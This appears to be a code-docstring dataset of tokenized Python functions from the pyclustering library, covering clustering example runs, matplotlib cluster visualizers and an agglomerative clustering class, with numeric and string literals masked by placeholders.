{"signature": "def cluster_two_diamonds():", "body": "start_centers = [[<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION)<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, criterion = splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH)<EOL>", "docstring": "Start with wrong number of clusters.", "id": "f15574:m14"}
{"signature": "def cluster_hepta():", "body": "start_centers = [[<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>], [<NUM_LIT>, <NUM_LIT:0.0>, <NUM_LIT:0.0>], [-<NUM_LIT>, <NUM_LIT:0.0>, <NUM_LIT:0.0>], [<NUM_LIT:0.0>, <NUM_LIT>, <NUM_LIT:0.0>], [<NUM_LIT:0.0>, -<NUM_LIT>, <NUM_LIT:0.0>], [<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_HEPTA, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION)<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_HEPTA, criterion = splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH)<EOL>", "docstring": "Start with wrong number of clusters.", "id": "f15574:m18"}
{"signature": "def cluster_two_diamonds():", "body": "template_clustering(<NUM_LIT>, <NUM_LIT:7>, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS)<EOL>", "docstring": "It's hard to choose properly parameters, but it's OK", "id": "f15578:m11"}
{"signature": "def cluster_wing_nut():", "body": "template_clustering(<NUM_LIT>, <NUM_LIT:2>, FCPS_SAMPLES.SAMPLE_WING_NUT)<EOL>", "docstring": "It's hard to choose properly parameters, but it's OK", "id": "f15578:m12"}
{"signature": "def cluster_golf_ball():", "body": "template_clustering(<NUM_LIT:0.5>, <NUM_LIT:3>, FCPS_SAMPLES.SAMPLE_GOLF_BALL)<EOL>", "docstring": "Toooooooooooo looooong", "id": "f15578:m15"}
{"signature": "def experiment_execution_time(ccore = False):", "body": "template_clustering(<NUM_LIT:0.5>, <NUM_LIT:3>, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, False, ccore)<EOL>template_clustering(<NUM_LIT:1>, <NUM_LIT:2>, SIMPLE_SAMPLES.SAMPLE_SIMPLE2, False, ccore)<EOL>template_clustering(<NUM_LIT>, <NUM_LIT:3>, SIMPLE_SAMPLES.SAMPLE_SIMPLE3, False, ccore)<EOL>template_clustering(<NUM_LIT>, <NUM_LIT:3>, SIMPLE_SAMPLES.SAMPLE_SIMPLE4, False, ccore)<EOL>template_clustering(<NUM_LIT>, <NUM_LIT:3>, SIMPLE_SAMPLES.SAMPLE_SIMPLE5, False, ccore)<EOL>template_clustering(<NUM_LIT:0.5>, <NUM_LIT:3>, SIMPLE_SAMPLES.SAMPLE_ELONGATE, False, ccore)<EOL>template_clustering(<NUM_LIT:0.5>, <NUM_LIT:3>, FCPS_SAMPLES.SAMPLE_LSUN, False, ccore)<EOL>template_clustering(<NUM_LIT:0.5>, <NUM_LIT:2>, FCPS_SAMPLES.SAMPLE_TARGET, False, ccore)<EOL>template_clustering(<NUM_LIT>, <NUM_LIT:7>, FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, False, ccore)<EOL>template_clustering(<NUM_LIT>, <NUM_LIT:2>, FCPS_SAMPLES.SAMPLE_WING_NUT, False, ccore)<EOL>template_clustering(<NUM_LIT:0.5>, <NUM_LIT:3>, FCPS_SAMPLES.SAMPLE_CHAINLINK, False, ccore)<EOL>template_clustering(<NUM_LIT:1>, <NUM_LIT:3>, FCPS_SAMPLES.SAMPLE_HEPTA, False, ccore)<EOL>template_clustering(<NUM_LIT>, <NUM_LIT:3>, FCPS_SAMPLES.SAMPLE_TETRA, False, ccore)<EOL>template_clustering(<NUM_LIT:15>, <NUM_LIT:3>, FCPS_SAMPLES.SAMPLE_ATOM, False, ccore)<EOL>", "docstring": "Performance measurement", "id": "f15578:m19"}
{"signature": "def cluster_elongate():", "body": "start_centers = [[<NUM_LIT:1.0>, <NUM_LIT>], [<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_ELONGATE)<EOL>", "docstring": "Not so applicable for this sample", "id": "f15581:m9"}
{"signature": "def cluster_lsun():", "body": "start_centers = [[<NUM_LIT:1.0>, <NUM_LIT>], [<NUM_LIT>, <NUM_LIT:0.5>], [<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_LSUN)<EOL>", "docstring": "Not so applicable for this sample", "id": "f15581:m10"}
{"signature": "def cluster_target():", "body": "start_centers = [[<NUM_LIT>, <NUM_LIT>], [<NUM_LIT:0.0>, -<NUM_LIT>], [<NUM_LIT>, -<NUM_LIT>], [<NUM_LIT>, <NUM_LIT>], [-<NUM_LIT>, <NUM_LIT>], [-<NUM_LIT>, -<NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_TARGET)<EOL>", "docstring": "Not so applicable for this sample", "id": "f15581:m11"}
{"signature": "def cluster_wing_nut():", "body": "start_centers = [[-<NUM_LIT>, <NUM_LIT>], [<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_WING_NUT)<EOL>", "docstring": "Almost good!", "id": "f15581:m13"}
{"signature": "def __init__(self, cluster, data, marker, markersize, color):", "body": "<EOL>self.cluster = cluster<EOL>self.data = data<EOL>self.marker = marker<EOL>self.markersize = markersize<EOL>self.color = color<EOL>self.attributes = []<EOL>", "docstring": "!\n        @brief Constructor of cluster representation on the canvas.\n\n        @param[in] cluster (list): Single cluster that consists of objects or indexes from data.\n        @param[in] data (list): Objects that should be displayed, can be None if clusters consist of objects instead of indexes.\n        @param[in] marker (string): Type of marker that is used for drawing objects.\n        @param[in] markersize (uint): Size of marker that is used for drawing objects.\n        @param[in] color (string): Color of the marker that is used for drawing objects.", "id": "f15584:c0:m0"}
{"signature": "def __init__(self):", "body": "self.__clusters = []<EOL>self.__figure = None<EOL>self.__grid_spec = None<EOL>", "docstring": "!\n        @brief Constructs cluster visualizer for multidimensional data.\n        @details The visualizer is suitable more data whose dimension is bigger than 3.", "id": "f15584:c1:m0"}
{"signature": "def append_cluster(self, cluster, data = None, marker = '<STR_LIT:.>', markersize = None, color = None):", "body": "if len(cluster) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>markersize = markersize or <NUM_LIT:5><EOL>if color is None:<EOL><INDENT>index_color = len(self.__clusters) % len(color_list.TITLES)<EOL>color = color_list.TITLES[index_color]<EOL><DEDENT>cluster_descriptor = canvas_cluster_descr(cluster, data, marker, markersize, color)<EOL>self.__clusters.append(cluster_descriptor)<EOL>", "docstring": "!\n        @brief Appends cluster for visualization.\n\n        @param[in] cluster (list): cluster that may consist of indexes of objects from the data or object itself.\n        @param[in] data (list): If defines that each element of cluster is considered as a index of object from the data.\n        @param[in] marker (string): Marker that is used for displaying objects from cluster on the canvas.\n        @param[in] markersize (uint): Size of marker.\n        @param[in] color (string): Color of marker.\n\n        @return Returns index of cluster descriptor on the canvas.", "id": "f15584:c1:m1"}
{"signature": "def append_clusters(self, clusters, data=None, marker='<STR_LIT:.>', markersize=None):", "body": "for cluster in clusters:<EOL><INDENT>self.append_cluster(cluster, data, marker, markersize)<EOL><DEDENT>", "docstring": "!\n        @brief Appends list of cluster for visualization.\n\n        @param[in] clusters (list): List of clusters where each cluster may consist of indexes of objects from the data or object itself.\n        @param[in] data (list): If defines that each element of cluster is considered as a index of object from the data.\n        @param[in] marker (string): Marker that is used for displaying objects from clusters on the canvas.\n        @param[in] markersize (uint): Size of marker.", "id": "f15584:c1:m2"}
{"signature": "def show(self, pair_filter=None, **kwargs):", "body": "if not len(self.__clusters) > <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>cluster_data = self.__clusters[<NUM_LIT:0>].data or self.__clusters[<NUM_LIT:0>].cluster<EOL>dimension = len(cluster_data[<NUM_LIT:0>])<EOL>acceptable_pairs = pair_filter or []<EOL>pairs = []<EOL>amount_axis = <NUM_LIT:1><EOL>axis_storage = []<EOL>if dimension > <NUM_LIT:1>:<EOL><INDENT>pairs = self.__create_pairs(dimension, acceptable_pairs)<EOL>amount_axis = len(pairs)<EOL><DEDENT>self.__figure = plt.figure()<EOL>self.__grid_spec = self.__create_grid_spec(amount_axis, kwargs.get('<STR_LIT>', <NUM_LIT:4>))<EOL>for index in range(amount_axis):<EOL><INDENT>ax = self.__create_canvas(dimension, pairs, index, **kwargs)<EOL>axis_storage.append(ax)<EOL><DEDENT>for cluster_descr in self.__clusters:<EOL><INDENT>self.__draw_canvas_cluster(axis_storage, cluster_descr, pairs)<EOL><DEDENT>plt.show()<EOL>", "docstring": "!\n        @brief Shows clusters (visualize) in multi-dimensional space.\n\n        @param[in] pair_filter (list): List of coordinate pairs that should be displayed. This argument is used as a filter.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'visible_axis' 'visible_labels', 'visible_grid', 'row_size').\n\n        <b>Keyword Args:</b><br>\n            - visible_axis (bool): Defines visibility of axes on each canvas, if True - axes are visible.\n               By default axis of each canvas are not displayed.\n            - visible_labels (bool): Defines visibility of labels on each canvas, if True - labels is displayed.\n               By default labels of each canvas are displayed.\n            - visible_grid (bool): Defines visibility of grid on each canvas, if True - grid is displayed.\n               By default grid of each canvas is displayed.\n            - max_row_size (uint): Maximum number of canvases on one row.", "id": "f15584:c1:m3"}
{"signature": "def __create_grid_spec(self, amount_axis, max_row_size):", "body": "row_size = amount_axis<EOL>if row_size > max_row_size:<EOL><INDENT>row_size = max_row_size<EOL><DEDENT>col_size = math.ceil(amount_axis / row_size)<EOL>return gridspec.GridSpec(col_size, row_size)<EOL>", "docstring": "!\n        @brief Create grid specification for figure to place canvases.\n\n        @param[in] amount_axis (uint): Amount of canvases that should be organized by the created grid specification.\n        @param[in] max_row_size (max_row_size): Maximum number of canvases on one row.\n\n        @return (gridspec.GridSpec) Grid specification to place canvases on figure.", "id": "f15584:c1:m4"}
{"signature": "def __create_pairs(self, dimension, acceptable_pairs):", "body": "if len(acceptable_pairs) > <NUM_LIT:0>:<EOL><INDENT>return acceptable_pairs<EOL><DEDENT>return list(itertools.combinations(range(dimension), <NUM_LIT:2>))<EOL>", "docstring": "!\n        @brief Create coordinate pairs that should be displayed.\n\n        @param[in] dimension (uint): Data-space dimension.\n        @param[in] acceptable_pairs (list): List of coordinate pairs that should be displayed.\n\n        @return (list) List of coordinate pairs that should be displayed.", "id": "f15584:c1:m5"}
{"signature": "def __create_canvas(self, dimension, pairs, position, **kwargs):", "body": "visible_grid = kwargs.get('<STR_LIT>', True)<EOL>visible_labels = kwargs.get('<STR_LIT>', True)<EOL>visible_axis = kwargs.get('<STR_LIT>', False)<EOL>ax = self.__figure.add_subplot(self.__grid_spec[position])<EOL>if dimension > <NUM_LIT:1>:<EOL><INDENT>if visible_labels:<EOL><INDENT>ax.set_xlabel(\"<STR_LIT>\" % pairs[position][<NUM_LIT:0>])<EOL>ax.set_ylabel(\"<STR_LIT>\" % pairs[position][<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ax.set_ylim(-<NUM_LIT:0.5>, <NUM_LIT:0.5>)<EOL>ax.set_yticklabels([])<EOL><DEDENT>if visible_grid:<EOL><INDENT>ax.grid(True)<EOL><DEDENT>if not visible_axis:<EOL><INDENT>ax.set_yticklabels([])<EOL>ax.set_xticklabels([])<EOL><DEDENT>return ax<EOL>", "docstring": "!\n        @brief Create new canvas with user defined parameters to display cluster or chunk of cluster on it.\n\n        @param[in] dimension (uint): Data-space dimension.\n        @param[in] pairs (list): Pair of coordinates that will be displayed on the canvas. If empty than label will not\n                    be displayed on the canvas.\n        @param[in] position (uint): Index position of canvas on a grid.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'visible_axis' 'visible_labels', 'visible_grid').\n\n        <b>Keyword Args:</b><br>\n            - visible_axis (bool): Defines visibility of axes on each canvas, if True - axes are visible.\n               By default axis are not displayed.\n            - visible_labels (bool): Defines visibility of labels on each canvas, if True - labels is displayed.\n               By default labels are displayed.\n            - visible_grid (bool): Defines visibility of grid on each canvas, if True - grid is displayed.\n               By default grid is displayed.\n\n        @return (matplotlib.Axis) Canvas to display cluster of chuck of cluster.", "id": "f15584:c1:m6"}
{"signature": "def __draw_canvas_cluster(self, axis_storage, cluster_descr, pairs):", "body": "for index_axis in range(len(axis_storage)):<EOL><INDENT>for item in cluster_descr.cluster:<EOL><INDENT>if len(pairs) > <NUM_LIT:0>:<EOL><INDENT>self.__draw_cluster_item_multi_dimension(axis_storage[index_axis], pairs[index_axis], item, cluster_descr)<EOL><DEDENT>else:<EOL><INDENT>self.__draw_cluster_item_one_dimension(axis_storage[index_axis], item, cluster_descr)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Draw clusters.\n\n        @param[in] axis_storage (list): List of matplotlib axis where cluster dimensional chunks are displayed.\n        @param[in] cluster_descr (canvas_cluster_descr): Canvas cluster descriptor that should be displayed.\n        @param[in] pairs (list): List of coordinates that should be displayed.", "id": "f15584:c1:m7"}
{"signature": "def __draw_cluster_item_multi_dimension(self, ax, pair, item, cluster_descr):", "body": "index_dimension1 = pair[<NUM_LIT:0>]<EOL>index_dimension2 = pair[<NUM_LIT:1>]<EOL>if cluster_descr.data is None:<EOL><INDENT>ax.plot(item[index_dimension1], item[index_dimension2],<EOL>color=cluster_descr.color, marker=cluster_descr.marker, markersize=cluster_descr.markersize)<EOL><DEDENT>else:<EOL><INDENT>ax.plot(cluster_descr.data[item][index_dimension1], cluster_descr.data[item][index_dimension2],<EOL>color=cluster_descr.color, marker=cluster_descr.marker, markersize=cluster_descr.markersize)<EOL><DEDENT>", "docstring": "!\n        @brief Draw cluster chunk defined by pair coordinates in data space with dimension greater than 1.\n\n        @param[in] ax (axis): Matplotlib axis that is used to display chunk of cluster point.\n        @param[in] pair (list): Coordinate of the point that should be displayed.\n        @param[in] item (list): Data point or index of data point.\n        @param[in] cluster_descr (canvas_cluster_descr): Cluster description whose point is visualized.", "id": "f15584:c1:m8"}
{"signature": "def __draw_cluster_item_one_dimension(self, ax, item, cluster_descr):", "body": "if cluster_descr.data is None:<EOL><INDENT>ax.plot(item[<NUM_LIT:0>], <NUM_LIT:0.0>,<EOL>color=cluster_descr.color, marker=cluster_descr.marker, markersize=cluster_descr.markersize)<EOL><DEDENT>else:<EOL><INDENT>ax.plot(cluster_descr.data[item][<NUM_LIT:0>], <NUM_LIT:0.0>,<EOL>color=cluster_descr.color, marker=cluster_descr.marker, markersize=cluster_descr.markersize)<EOL><DEDENT>", "docstring": "!\n        @brief Draw cluster point in one dimensional data space..\n\n        @param[in] ax (axis): Matplotlib axis that is used to display chunk of cluster point.\n        @param[in] item (list): Data point or index of data point.\n        @param[in] cluster_descr (canvas_cluster_descr): Cluster description whose point is visualized.", "id": "f15584:c1:m9"}
{"signature": "def __init__(self, number_canvases = <NUM_LIT:1>, size_row = <NUM_LIT:1>, titles = None):", "body": "self.__number_canvases = number_canvases<EOL>self.__size_row = size_row<EOL>self.__canvas_clusters = [ [] for _ in range(number_canvases) ]<EOL>self.__canvas_dimensions = [ None for _ in range(number_canvases) ]<EOL>self.__canvas_titles = [ None for _ in range(number_canvases) ]<EOL>if titles is not None:<EOL><INDENT>self.__canvas_titles = titles<EOL><DEDENT>self.__default_2d_marker_size = <NUM_LIT:5><EOL>self.__default_3d_marker_size = <NUM_LIT:30><EOL>", "docstring": "!\n        @brief Constructor of cluster visualizer.\n\n        @param[in] number_canvases (uint): Number of canvases that is used for visualization.\n        @param[in] size_row (uint): Amount of canvases that can be placed in one row.\n        @param[in] titles (list): List of canvas's titles.\n\n        Example:\n        @code\n            # load 2D data sample\n            sample_2d = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1);\n\n            # load 3D data sample\n            sample_3d = read_sample(FCPS_SAMPLES.SAMPLE_HEPTA);\n\n            # extract clusters from the first sample using DBSCAN algorithm\n            dbscan_instance = dbscan(sample_2d, 0.4, 2, False);\n            dbscan_instance.process();\n            clusters_sample_2d = dbscan_instance.get_clusters();\n\n            # extract clusters from the second sample using DBSCAN algorithm\n            dbscan_instance = dbscan(sample_3d, 1, 3, True);\n            dbscan_instance.process();\n            clusters_sample_3d = dbscan_instance.get_clusters();\n\n            # create plot with two canvases where each row contains 2 canvases.\n            size = 2;\n            row_size = 2;\n            visualizer = cluster_visualizer(size, row_size);\n\n            # place clustering result of sample_2d to the first canvas\n            visualizer.append_clusters(clusters_sample_2d, sample_2d, 0, markersize = 5);\n\n            # place clustering result of sample_3d to the second canvas\n            visualizer.append_clusters(clusters_sample_3d, sample_3d, 1, markersize = 30);\n\n            # show plot\n            visualizer.show();\n        @endcode", "id": "f15584:c2:m0"}
{"signature": "def append_cluster(self, cluster, data=None, canvas=<NUM_LIT:0>, marker='<STR_LIT:.>', markersize=None, color=None):", "body": "if len(cluster) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if canvas > self.__number_canvases or canvas < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.__number_canvases or canvas)<EOL><DEDENT>if color is None:<EOL><INDENT>index_color = len(self.__canvas_clusters[canvas]) % len(color_list.TITLES)<EOL>color = color_list.TITLES[index_color]<EOL><DEDENT>added_canvas_descriptor = canvas_cluster_descr(cluster, data, marker, markersize, color)<EOL>self.__canvas_clusters[canvas].append( added_canvas_descriptor )<EOL>if data is None:<EOL><INDENT>dimension = len(cluster[<NUM_LIT:0>])<EOL>if self.__canvas_dimensions[canvas] is None:<EOL><INDENT>self.__canvas_dimensions[canvas] = dimension<EOL><DEDENT>elif self.__canvas_dimensions[canvas] != dimension:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>dimension = len(data[<NUM_LIT:0>])<EOL>if self.__canvas_dimensions[canvas] is None:<EOL><INDENT>self.__canvas_dimensions[canvas] = dimension<EOL><DEDENT>elif self.__canvas_dimensions[canvas] != dimension:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if (dimension < <NUM_LIT:1>) or (dimension > <NUM_LIT:3>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if markersize is None:<EOL><INDENT>if (dimension == <NUM_LIT:1>) or (dimension == <NUM_LIT:2>):<EOL><INDENT>added_canvas_descriptor.markersize = self.__default_2d_marker_size<EOL><DEDENT>elif dimension == <NUM_LIT:3>:<EOL><INDENT>added_canvas_descriptor.markersize = self.__default_3d_marker_size<EOL><DEDENT><DEDENT>return len(self.__canvas_clusters[canvas]) - <NUM_LIT:1><EOL>", "docstring": "!\n        @brief Appends cluster to canvas for drawing.\n\n        @param[in] cluster (list): cluster that may consist of indexes of objects from the data or object itself.\n        @param[in] data (list): If defines that each element of cluster is considered as a index of object from the data.\n        @param[in] canvas (uint): Number of canvas that should be used for displaying cluster.\n        @param[in] marker (string): Marker that is used for displaying objects from cluster on the canvas.\n        @param[in] markersize (uint): Size of marker.\n        @param[in] color (string): Color of marker.\n\n        @return Returns index of cluster descriptor on the canvas.", "id": "f15584:c2:m1"}
{"signature": "def append_cluster_attribute(self, index_canvas, index_cluster, data, marker = None, markersize = None):", "body": "cluster_descr = self.__canvas_clusters[index_canvas][index_cluster]<EOL>attribute_marker = marker<EOL>if attribute_marker is None:<EOL><INDENT>attribute_marker = cluster_descr.marker<EOL><DEDENT>attribure_markersize = markersize<EOL>if attribure_markersize is None:<EOL><INDENT>attribure_markersize = cluster_descr.markersize<EOL><DEDENT>attribute_color = cluster_descr.color<EOL>added_attribute_cluster_descriptor = canvas_cluster_descr(data, None, attribute_marker, attribure_markersize, attribute_color)<EOL>self.__canvas_clusters[index_canvas][index_cluster].attributes.append(added_attribute_cluster_descriptor)<EOL>", "docstring": "!\n        @brief Append cluster attribure for cluster on specific canvas.\n        @details Attribute it is data that is visualized for specific cluster using its color, marker and markersize if last two is not specified.\n\n        @param[in] index_canvas (uint): Index canvas where cluster is located.\n        @param[in] index_cluster (uint): Index cluster whose attribute should be added.\n        @param[in] data (list): List of points (data) that represents attribute.\n        @param[in] marker (string): Marker that is used for displaying objects from cluster on the canvas.\n        @param[in] markersize (uint): Size of marker.", "id": "f15584:c2:m2"}
{"signature": "def append_clusters(self, clusters, data = None, canvas = <NUM_LIT:0>, marker = '<STR_LIT:.>', markersize = None):", "body": "for cluster in clusters:<EOL><INDENT>self.append_cluster(cluster, data, canvas, marker, markersize)<EOL><DEDENT>", "docstring": "!\n        @brief Appends list of cluster to canvas for drawing.\n\n        @param[in] clusters (list): List of clusters where each cluster may consist of indexes of objects from the data or object itself.\n        @param[in] data (list): If defines that each element of cluster is considered as a index of object from the data.\n        @param[in] canvas (uint): Number of canvas that should be used for displaying clusters.\n        @param[in] marker (string): Marker that is used for displaying objects from clusters on the canvas.\n        @param[in] markersize (uint): Size of marker.", "id": "f15584:c2:m3"}
{"signature": "def set_canvas_title(self, text, canvas = <NUM_LIT:0>):", "body": "if canvas > self.__number_canvases:<EOL><INDENT>raise NameError('<STR_LIT>' + canvas + '<STR_LIT>')<EOL><DEDENT>self.__canvas_titles[canvas] = text<EOL>", "docstring": "!\n        @brief Set title for specified canvas.\n\n        @param[in] text (string): Title for canvas.\n        @param[in] canvas (uint): Index of canvas where title should be displayed.", "id": "f15584:c2:m4"}
{"signature": "def get_cluster_color(self, index_cluster, index_canvas):", "body": "return self.__canvas_clusters[index_canvas][index_cluster].color<EOL>", "docstring": "!\n        @brief Returns cluster color on specified canvas.", "id": "f15584:c2:m5"}
{"signature": "def show(self, figure=None, invisible_axis=True, visible_grid=True, display=True, shift=None):", "body": "canvas_shift = shift<EOL>if canvas_shift is None:<EOL><INDENT>if figure is not None:<EOL><INDENT>canvas_shift = len(figure.get_axes())<EOL><DEDENT>else:<EOL><INDENT>canvas_shift = <NUM_LIT:0><EOL><DEDENT><DEDENT>if figure is not None:<EOL><INDENT>cluster_figure = figure<EOL><DEDENT>else:<EOL><INDENT>cluster_figure = plt.figure()<EOL><DEDENT>maximum_cols = self.__size_row<EOL>maximum_rows = math.ceil( (self.__number_canvases + canvas_shift) / maximum_cols)<EOL>grid_spec = gridspec.GridSpec(maximum_rows, maximum_cols)<EOL>for index_canvas in range(len(self.__canvas_clusters)):<EOL><INDENT>canvas_data = self.__canvas_clusters[index_canvas]<EOL>if len(canvas_data) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>dimension = self.__canvas_dimensions[index_canvas]<EOL>if (dimension == <NUM_LIT:1>) or (dimension == <NUM_LIT:2>):<EOL><INDENT>ax = cluster_figure.add_subplot(grid_spec[index_canvas + canvas_shift])<EOL><DEDENT>else:<EOL><INDENT>ax = cluster_figure.add_subplot(grid_spec[index_canvas + canvas_shift], projection='<STR_LIT>')<EOL><DEDENT>if len(canvas_data) == <NUM_LIT:0>:<EOL><INDENT>plt.setp(ax, visible=False)<EOL><DEDENT>for cluster_descr in canvas_data:<EOL><INDENT>self.__draw_canvas_cluster(ax, dimension, cluster_descr)<EOL>for attribute_descr in cluster_descr.attributes:<EOL><INDENT>self.__draw_canvas_cluster(ax, dimension, attribute_descr)<EOL><DEDENT><DEDENT>if invisible_axis is True:<EOL><INDENT>ax.xaxis.set_ticklabels([])<EOL>ax.yaxis.set_ticklabels([])<EOL>if (dimension == <NUM_LIT:3>):<EOL><INDENT>ax.zaxis.set_ticklabels([])<EOL><DEDENT><DEDENT>if self.__canvas_titles[index_canvas] is not None:<EOL><INDENT>ax.set_title(self.__canvas_titles[index_canvas])<EOL><DEDENT>ax.grid(visible_grid)<EOL><DEDENT>if display is True:<EOL><INDENT>plt.show()<EOL><DEDENT>return cluster_figure<EOL>", "docstring": "!\n        @brief Shows clusters (visualize).\n\n        @param[in] figure (fig): Defines requirement to use specified figure, if None - new figure is created for drawing clusters.\n        @param[in] invisible_axis (bool): Defines visibility of axes on each canvas, if True - axes are invisible.\n        @param[in] visible_grid (bool): Defines visibility of grid on each canvas, if True - grid is displayed.\n        @param[in] display (bool): Defines requirement to display clusters on a stage, if True - clusters are displayed,\n                    if False - plt.show() should be called by user.\"\n        @param[in] shift (uint): Force canvas shift value - defines canvas index from which custers should be visualized.\n\n        @return (fig) Figure where clusters are shown.", "id": "f15584:c2:m6"}
{"signature": "def __draw_canvas_cluster(self, ax, dimension, cluster_descr):", "body": "cluster = cluster_descr.cluster<EOL>data = cluster_descr.data<EOL>marker = cluster_descr.marker<EOL>markersize = cluster_descr.markersize<EOL>color = cluster_descr.color<EOL>for item in cluster:<EOL><INDENT>if dimension == <NUM_LIT:1>:<EOL><INDENT>if data is None:<EOL><INDENT>ax.plot(item[<NUM_LIT:0>], <NUM_LIT:0.0>, color = color, marker = marker, markersize = markersize)<EOL><DEDENT>else:<EOL><INDENT>ax.plot(data[item][<NUM_LIT:0>], <NUM_LIT:0.0>, color = color, marker = marker, markersize = markersize)<EOL><DEDENT><DEDENT>elif dimension == <NUM_LIT:2>:<EOL><INDENT>if data is None:<EOL><INDENT>ax.plot(item[<NUM_LIT:0>], item[<NUM_LIT:1>], color = color, marker = marker, markersize = markersize)<EOL><DEDENT>else:<EOL><INDENT>ax.plot(data[item][<NUM_LIT:0>], data[item][<NUM_LIT:1>], color = color, marker = marker, markersize = markersize)<EOL><DEDENT><DEDENT>elif dimension == <NUM_LIT:3>:<EOL><INDENT>if data is None:<EOL><INDENT>ax.scatter(item[<NUM_LIT:0>], item[<NUM_LIT:1>], item[<NUM_LIT:2>], c = color, marker = marker, s = markersize)<EOL><DEDENT>else:<EOL><INDENT>ax.scatter(data[item][<NUM_LIT:0>], data[item][<NUM_LIT:1>], data[item][<NUM_LIT:2>], c = color, marker = marker, s = markersize)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Draw canvas cluster descriptor.\n\n        @param[in] ax (Axis): Axis of the canvas where canvas cluster descriptor should be displayed.\n        @param[in] dimension (uint): Canvas dimension.\n        @param[in] cluster_descr (canvas_cluster_descr): Canvas cluster descriptor that should be displayed.\n\n        @return (fig) Figure where clusters are shown.", "id": "f15584:c2:m7"}
{"signature": "def __init__(self, data, number_clusters, link = None, ccore = True):", "body": "self.__pointer_data = data<EOL>self.__number_clusters = number_clusters<EOL>self.__similarity = link<EOL>if self.__similarity is None:<EOL><INDENT>self.__similarity = type_link.CENTROID_LINK<EOL><DEDENT>self.__clusters = []<EOL>self.__ccore = ccore<EOL>if (self.__ccore):<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>if (self.__similarity == type_link.CENTROID_LINK):<EOL><INDENT>self.__centers = self.__pointer_data.copy()<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of agglomerative hierarchical algorithm.\n\n        @param[in] data (list): Input data that is presented as a list of points (objects), each point should be represented by list, for example\n                    [[0.1, 0.2], [0.4, 0.5], [1.3, 0.9]].\n        @param[in] number_clusters (uint): Number of clusters that should be allocated.\n        @param[in] link (type_link): Link type that is used for calculation similarity between objects and clusters, if it is not specified centroid link will be used by default.\n        @param[in] ccore (bool): Defines should be CCORE (C++ pyclustering library) used instead of Python code or not (by default it is 'False').", "id": "f15585:c1:m0"}
{"signature": "def process(self):", "body": "if (self.__ccore is True):<EOL><INDENT>self.__clusters = wrapper.agglomerative_algorithm(self.__pointer_data, self.__number_clusters, self.__similarity);<EOL><DEDENT>else:<EOL><INDENT>self.__clusters = [[index] for index in range(<NUM_LIT:0>, len(self.__pointer_data))];<EOL>current_number_clusters = len(self.__clusters);<EOL>while (current_number_clusters > self.__number_clusters):<EOL><INDENT>self.__merge_similar_clusters();<EOL>current_number_clusters = len(self.__clusters);<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of agglomerative algorithm and similarity.\n\n        @see get_clusters()", "id": "f15585:c1:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @remark Results of clustering can be obtained using corresponding gets methods.\n\n        @return (list) List of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()", "id": "f15585:c1:m2"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15585:c1:m3"}
{"signature": "def __merge_similar_clusters(self):", "body": "if (self.__similarity == type_link.AVERAGE_LINK):<EOL><INDENT>self.__merge_by_average_link();<EOL><DEDENT>elif (self.__similarity == type_link.CENTROID_LINK):<EOL><INDENT>self.__merge_by_centroid_link();<EOL><DEDENT>elif (self.__similarity == type_link.COMPLETE_LINK):<EOL><INDENT>self.__merge_by_complete_link();<EOL><DEDENT>elif (self.__similarity == type_link.SINGLE_LINK):<EOL><INDENT>self.__merge_by_signle_link();<EOL><DEDENT>else:<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>", "docstring": "!\n        @brief Merges the most similar clusters in line with link type.", "id": "f15585:c1:m4"}
